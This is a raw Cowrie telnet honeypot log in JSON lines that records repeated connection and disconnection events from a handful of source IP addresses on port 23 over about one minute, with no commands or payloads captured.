{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":47654,"dst_ip":"10.17.0.5","dst_port":23,"session":"2437e9ac45e8","protocol":"telnet","message":"New connection: 103.82.231.165:47654 (10.17.0.5:23) [session: 2437e9ac45e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:00.997723Z"}
{"eventid":"cowrie.session.closed","duration":31.495184898376465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:02.123869Z","src_ip":"103.82.231.165","session":"6210f241ab12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52410,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e2b3ddc8b01","protocol":"telnet","message":"New connection: 194.163.135.148:52410 (159.203.135.109:23) [session: 0e2b3ddc8b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:02.489561Z"}
{"eventid":"cowrie.session.closed","duration":34.54636836051941,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:02.981081Z","src_ip":"194.163.135.148","session":"8d1110e2ce91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":52700,"dst_ip":"10.17.0.5","dst_port":23,"session":"dca274791683","protocol":"telnet","message":"New connection: 103.82.231.165:52700 (10.17.0.5:23) [session: dca274791683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:03.808956Z"}
{"eventid":"cowrie.session.closed","duration":31.80554175376892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:04.124759Z","src_ip":"103.82.231.165","session":"6323fcc3c123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.60773539543152,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:04.313191Z","src_ip":"194.163.135.148","session":"9565d3e05bb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.39981031417847,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:04.449520Z","src_ip":"194.163.135.148","session":"9b724fa7a95b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878979444503784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:04.644874Z","src_ip":"62.182.85.24","session":"673a2ddf43ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.644599199295044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:05.423835Z","src_ip":"62.182.85.24","session":"1d4385633a1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52442,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a403be09ebb","protocol":"telnet","message":"New connection: 194.163.135.148:52442 (159.203.135.109:23) [session: 1a403be09ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:06.588947Z"}
{"eventid":"cowrie.session.closed","duration":35.185357332229614,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:07.153886Z","src_ip":"194.163.135.148","session":"cf1afdf1e277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.847848415374756,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:07.222611Z","src_ip":"194.163.135.148","session":"f7deec934371","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52448,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1c6f98d7c3f","protocol":"telnet","message":"New connection: 194.163.135.148:52448 (159.203.135.109:23) [session: b1c6f98d7c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:07.292234Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.89.162.117","src_port":58648,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c0501b7e079","protocol":"telnet","message":"New connection: 190.89.162.117:58648 (159.203.135.109:23) [session: 4c0501b7e079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:10.942891Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52474,"dst_ip":"159.203.135.109","dst_port":23,"session":"d38a9590ca7a","protocol":"telnet","message":"New connection: 194.163.135.148:52474 (159.203.135.109:23) [session: d38a9590ca7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:11.478702Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52482,"dst_ip":"159.203.135.109","dst_port":23,"session":"8da4c14fa8ce","protocol":"telnet","message":"New connection: 194.163.135.148:52482 (159.203.135.109:23) [session: 8da4c14fa8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:13.021119Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":55298,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cd6bfd6cf61","protocol":"telnet","message":"New connection: 62.182.85.24:55298 (10.17.0.5:23) [session: 1cd6bfd6cf61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:14.843441Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52490,"dst_ip":"159.203.135.109","dst_port":23,"session":"229e6e743ec4","protocol":"telnet","message":"New connection: 194.163.135.148:52490 (159.203.135.109:23) [session: 229e6e743ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:15.042823Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52494,"dst_ip":"159.203.135.109","dst_port":23,"session":"bef2c060657b","protocol":"telnet","message":"New connection: 194.163.135.148:52494 (159.203.135.109:23) [session: bef2c060657b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:16.569495Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52498,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6c793ab120f","protocol":"telnet","message":"New connection: 194.163.135.148:52498 (159.203.135.109:23) [session: e6c793ab120f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:17.496447Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52516,"dst_ip":"159.203.135.109","dst_port":23,"session":"21d394269c70","protocol":"telnet","message":"New connection: 194.163.135.148:52516 (159.203.135.109:23) [session: 21d394269c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:18.098114Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":41176,"dst_ip":"10.17.0.5","dst_port":23,"session":"c63ae259969b","protocol":"telnet","message":"New connection: 62.182.85.24:41176 (10.17.0.5:23) [session: c63ae259969b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:18.124225Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":50770,"dst_ip":"10.17.0.5","dst_port":23,"session":"020cbb9094ca","protocol":"telnet","message":"New connection: 103.82.231.165:50770 (10.17.0.5:23) [session: 020cbb9094ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:18.422372Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":37518,"dst_ip":"10.17.0.5","dst_port":23,"session":"31ad17e584c3","protocol":"telnet","message":"New connection: 62.182.85.24:37518 (10.17.0.5:23) [session: 31ad17e584c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:22.132348Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":49266,"dst_ip":"10.17.0.5","dst_port":23,"session":"35b522cb1658","protocol":"telnet","message":"New connection: 62.182.85.24:49266 (10.17.0.5:23) [session: 35b522cb1658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:22.174779Z"}
{"eventid":"cowrie.session.closed","duration":34.02885150909424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:22.634484Z","src_ip":"194.163.135.148","session":"e00751e21337","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":50774,"dst_ip":"10.17.0.5","dst_port":23,"session":"96daf79e8e6d","protocol":"telnet","message":"New connection: 103.82.231.165:50774 (10.17.0.5:23) [session: 96daf79e8e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:24.192991Z"}
{"eventid":"cowrie.session.closed","duration":31.8964524269104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:24.371759Z","src_ip":"194.163.135.148","session":"16cc989399ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.456029176712036,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:24.398810Z","src_ip":"190.89.162.117","session":"4c0501b7e079","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.58407974243164,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:24.844088Z","src_ip":"194.163.135.148","session":"f095c65a009b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":44440,"dst_ip":"10.17.0.5","dst_port":23,"session":"e439014714ab","protocol":"telnet","message":"New connection: 62.182.85.24:44440 (10.17.0.5:23) [session: e439014714ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:25.340373Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52564,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e69c3a15751","protocol":"telnet","message":"New connection: 194.163.135.148:52564 (159.203.135.109:23) [session: 8e69c3a15751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:25.979055Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52570,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cf98f01c25d","protocol":"telnet","message":"New connection: 194.163.135.148:52570 (159.203.135.109:23) [session: 5cf98f01c25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:26.522694Z"}
{"eventid":"cowrie.session.closed","duration":35.33757829666138,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:26.630643Z","src_ip":"194.163.135.148","session":"ec1757c55f48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52574,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef40409aa042","protocol":"telnet","message":"New connection: 194.163.135.148:52574 (159.203.135.109:23) [session: ef40409aa042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:26.727812Z"}
{"eventid":"cowrie.session.closed","duration":35.254952907562256,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:26.757923Z","src_ip":"194.163.135.148","session":"f00c3efc14f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":33284,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d694408cb9c","protocol":"telnet","message":"New connection: 62.182.85.24:33284 (10.17.0.5:23) [session: 1d694408cb9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:27.428206Z"}
{"eventid":"cowrie.session.closed","duration":32.30557894706726,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:27.812517Z","src_ip":"194.163.135.148","session":"a1c2004909b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":46142,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f4587d2df8e","protocol":"telnet","message":"New connection: 103.82.231.165:46142 (10.17.0.5:23) [session: 2f4587d2df8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:28.351217Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":58920,"dst_ip":"10.17.0.5","dst_port":23,"session":"e53b9fa7bc43","protocol":"telnet","message":"New connection: 62.182.85.24:58920 (10.17.0.5:23) [session: e53b9fa7bc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:30.465952Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":38936,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdb3d51f5c90","protocol":"telnet","message":"New connection: 62.182.85.24:38936 (10.17.0.5:23) [session: bdb3d51f5c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:31.468789Z"}
{"eventid":"cowrie.session.closed","duration":32.14980983734131,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:32.098413Z","src_ip":"103.82.231.165","session":"1e3c599f684c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52610,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9509fd5aaf9","protocol":"telnet","message":"New connection: 194.163.135.148:52610 (159.203.135.109:23) [session: a9509fd5aaf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:32.371122Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":50406,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7c8e007a337","protocol":"telnet","message":"New connection: 62.182.85.24:50406 (10.17.0.5:23) [session: f7c8e007a337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:32.898845Z"}
{"eventid":"cowrie.session.closed","duration":34.599907636642456,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:33.344732Z","src_ip":"194.163.135.148","session":"217c823ec8f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":46976,"dst_ip":"10.17.0.5","dst_port":23,"session":"87babd9d94fc","protocol":"telnet","message":"New connection: 62.182.85.24:46976 (10.17.0.5:23) [session: 87babd9d94fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:33.492618Z"}
{"eventid":"cowrie.session.closed","duration":32.106443643569946,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:34.595893Z","src_ip":"194.163.135.148","session":"0e2b3ddc8b01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.29081678390503,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:37.585523Z","src_ip":"194.163.135.148","session":"79bd333d97c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52636,"dst_ip":"159.203.135.109","dst_port":23,"session":"c762b3156682","protocol":"telnet","message":"New connection: 194.163.135.148:52636 (159.203.135.109:23) [session: c762b3156682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:37.705532Z"}
{"eventid":"cowrie.session.closed","duration":120.00175356864929,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:37.720500Z","src_ip":"201.1.168.89","session":"b8b3da5dd03e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.74405241012573,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:38.552858Z","src_ip":"103.82.231.165","session":"dca274791683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":55176,"dst_ip":"10.17.0.5","dst_port":23,"session":"8926a580de27","protocol":"telnet","message":"New connection: 62.182.85.24:55176 (10.17.0.5:23) [session: 8926a580de27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:38.869864Z"}
{"eventid":"cowrie.session.closed","duration":32.22692060470581,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:39.518965Z","src_ip":"194.163.135.148","session":"b1c6f98d7c3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52670,"dst_ip":"159.203.135.109","dst_port":23,"session":"67e92f5ddd65","protocol":"telnet","message":"New connection: 194.163.135.148:52670 (159.203.135.109:23) [session: 67e92f5ddd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:41.303517Z"}
{"eventid":"cowrie.session.closed","duration":35.82500910758972,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:42.413821Z","src_ip":"194.163.135.148","session":"1a403be09ebb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52686,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b1643717938","protocol":"telnet","message":"New connection: 194.163.135.148:52686 (159.203.135.109:23) [session: 7b1643717938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:43.227342Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52688,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bf7020cc054","protocol":"telnet","message":"New connection: 194.163.135.148:52688 (159.203.135.109:23) [session: 8bf7020cc054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:43.253835Z"}
{"eventid":"cowrie.session.closed","duration":32.771740436553955,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:44.250313Z","src_ip":"194.163.135.148","session":"d38a9590ca7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":55108,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b59242a5162","protocol":"telnet","message":"New connection: 62.182.85.24:55108 (10.17.0.5:23) [session: 7b59242a5162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:44.702810Z"}
{"eventid":"cowrie.session.closed","duration":31.344335556030273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:46.187501Z","src_ip":"62.182.85.24","session":"1cd6bfd6cf61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52708,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fce4ed405a3","protocol":"telnet","message":"New connection: 194.163.135.148:52708 (159.203.135.109:23) [session: 9fce4ed405a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:46.470127Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":43424,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b9fa9d0ea6b","protocol":"telnet","message":"New connection: 62.182.85.24:43424 (10.17.0.5:23) [session: 4b9fa9d0ea6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:46.747641Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52714,"dst_ip":"159.203.135.109","dst_port":23,"session":"1936b94b62dd","protocol":"telnet","message":"New connection: 194.163.135.148:52714 (159.203.135.109:23) [session: 1936b94b62dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:46.994062Z"}
{"eventid":"cowrie.session.closed","duration":34.698200702667236,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:47.719290Z","src_ip":"194.163.135.148","session":"8da4c14fa8ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.305250644683838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:49.429337Z","src_ip":"62.182.85.24","session":"c63ae259969b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.94983959197998,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:49.992525Z","src_ip":"194.163.135.148","session":"229e6e743ec4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.74086618423462,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:51.163099Z","src_ip":"103.82.231.165","session":"020cbb9094ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.60834622383118,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:52.177696Z","src_ip":"194.163.135.148","session":"bef2c060657b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52760,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a15333cc0f9","protocol":"telnet","message":"New connection: 194.163.135.148:52760 (159.203.135.109:23) [session: 4a15333cc0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:52.341486Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52742,"dst_ip":"159.203.135.109","dst_port":23,"session":"cedc26a1ba1d","protocol":"telnet","message":"New connection: 194.163.135.148:52742 (159.203.135.109:23) [session: cedc26a1ba1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:52.346471Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52762,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7c24efdfc2d","protocol":"telnet","message":"New connection: 194.163.135.148:52762 (159.203.135.109:23) [session: d7c24efdfc2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:52.437334Z"}
{"eventid":"cowrie.session.closed","duration":35.14035773277283,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:52.636683Z","src_ip":"194.163.135.148","session":"e6c793ab120f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.137394428253174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:53.312071Z","src_ip":"62.182.85.24","session":"35b522cb1658","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52768,"dst_ip":"159.203.135.109","dst_port":23,"session":"068f187a6c55","protocol":"telnet","message":"New connection: 194.163.135.148:52768 (159.203.135.109:23) [session: 068f187a6c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:53.365977Z"}
{"eventid":"cowrie.session.closed","duration":31.412028789520264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:53.544278Z","src_ip":"62.182.85.24","session":"31ad17e584c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.50978994369507,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:53.607791Z","src_ip":"194.163.135.148","session":"21d394269c70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":52770,"dst_ip":"159.203.135.109","dst_port":23,"session":"dad1905ed19b","protocol":"telnet","message":"New connection: 194.163.135.148:52770 (159.203.135.109:23) [session: dad1905ed19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:53.662715Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.51.202.151","src_port":34178,"dst_ip":"159.203.135.109","dst_port":23,"session":"27d2cc438e39","protocol":"telnet","message":"New connection: 81.51.202.151:34178 (159.203.135.109:23) [session: 27d2cc438e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:54.362320Z"}
{"eventid":"cowrie.session.closed","duration":31.83623695373535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:56.029090Z","src_ip":"103.82.231.165","session":"96daf79e8e6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.596406936645508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:58:56.936675Z","src_ip":"62.182.85.24","session":"e439014714ab","protocol":"telnet"}
